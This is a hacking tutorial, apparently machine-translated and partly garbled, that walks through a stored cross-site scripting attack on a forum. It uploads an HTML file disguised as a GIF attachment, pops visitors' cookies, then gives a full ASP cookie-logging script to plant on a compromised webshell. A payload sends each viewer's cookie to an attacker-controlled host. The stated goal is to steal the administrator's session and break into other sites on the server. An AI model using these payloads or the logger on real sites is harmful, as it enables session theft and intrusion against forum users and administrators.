Cross-Site attack drills

Preface:
In our previous teaching in our long-term class, we have explained the principles and analyzed the code of Cross-Site attacks. We have also explained in detail how to use the Discuz4.1 Forum's Cross-Site vulnerability. The Teaching of "cross-site-in search engines" not long ago also tells us that cross-site attacks exist not only in small websites!
In this lesson, we will continue to use an instance to see how we can use our thinking to better utilize cross-site vulnerabilities for our security detection service.

Content:
First, create a text file and write the following code
<Script> alert ("Hello! 77169 ") </script>
Then we named the file hello.html. Open this file with IE. We can see that:

That is to say, the script is successfully executed. Let's think about it in a different way. If we change the suffix of This html file and put it on the Forum, what will happen when the browser browses it? Let's take the latest v7.1sp1 version of the mobile network as an example:
First, log on to our forum and post a post. The attachment uses hello.html to change its suffix to the image format. For example, change to hello.gif. Post the post. Go back to the post we posted and browse it. We can see that:

Click "Click here to browse images in a new window" below to bring up the warning we just saw. That is to say, the latest version of the Internet also has the execution Script Vulnerability. Let's think about it again. We can modify the above Code to bring up useful information for us. For example, we can change the code:
<Script> alert (document. cookie) </script>
This time, we will log out and save the cookie to log on. We will also publish a file with the suffix changed. After posting the post again, we will browse it. You can see:

The current user's cookie value has been popped up. Through this cookie, we can know that the current user name is admin and the password is encrypted by md5. If the system has cookie spoofing, we can use the Administrator's cookie to log on to the website management page.
Maybe many Members will talk about it. This vulnerability cannot be exploited for intrusion. It doesn't matter. Let's further expand our thinking: If we have taken the Webshell of a virtual directory on a server, we need to intrude other sites on this server. Is it usable?
The answer is yes. We construct the following code:
<%
Dim fs, log, logname, hevent
Logname = "cookie _" & now & ". txt"
Logname = replace (logname ,"","_")
Logname = replace (logname ,"-","_")
Logname = replace (logname ,":",".")
Logname = server. mappath (logname)
Hevent = request. servervariables ("QUERY_STRING ")
Set fs = server. createobject ("scripting. filesystemobject ")
Set log = fs. createtextfile (logname)
Log. writeline hevent
Log. close
Set fs = nothing
Response. redirect ("http://www.77169.com ")
%>
Save it as cookie. asp. Put it under our webshell. Of course, the premise is that you already know the relative path of the website. This Code defines four variables-fs, log, logname, and hevent. Then, the FSO component stores the cookie values of the current browser under the same directory, and defines that the generated file format is time-based.
We will add the post attachment to which the Administrator is to browse to the following code we have set in advance:
<Script> window. open ('HTTP: // 192.168.1.110/cookie. asp? Event = '+ document. cookie) </script>
Similarly, it is sent to our forum as an attachment, so that all the Members who browse this post can choose to save cookie information when logging on, A file is generated under the preset website directory. All we need to do is allow the Administrator to browse our attachments! File records generated by slices

Through this, we can easily obtain the cookie information of the website administrator.

In fact, the use of cross-site attacks is very large and flexible. As long as you observe and think more, you can find a more clever intrusion method!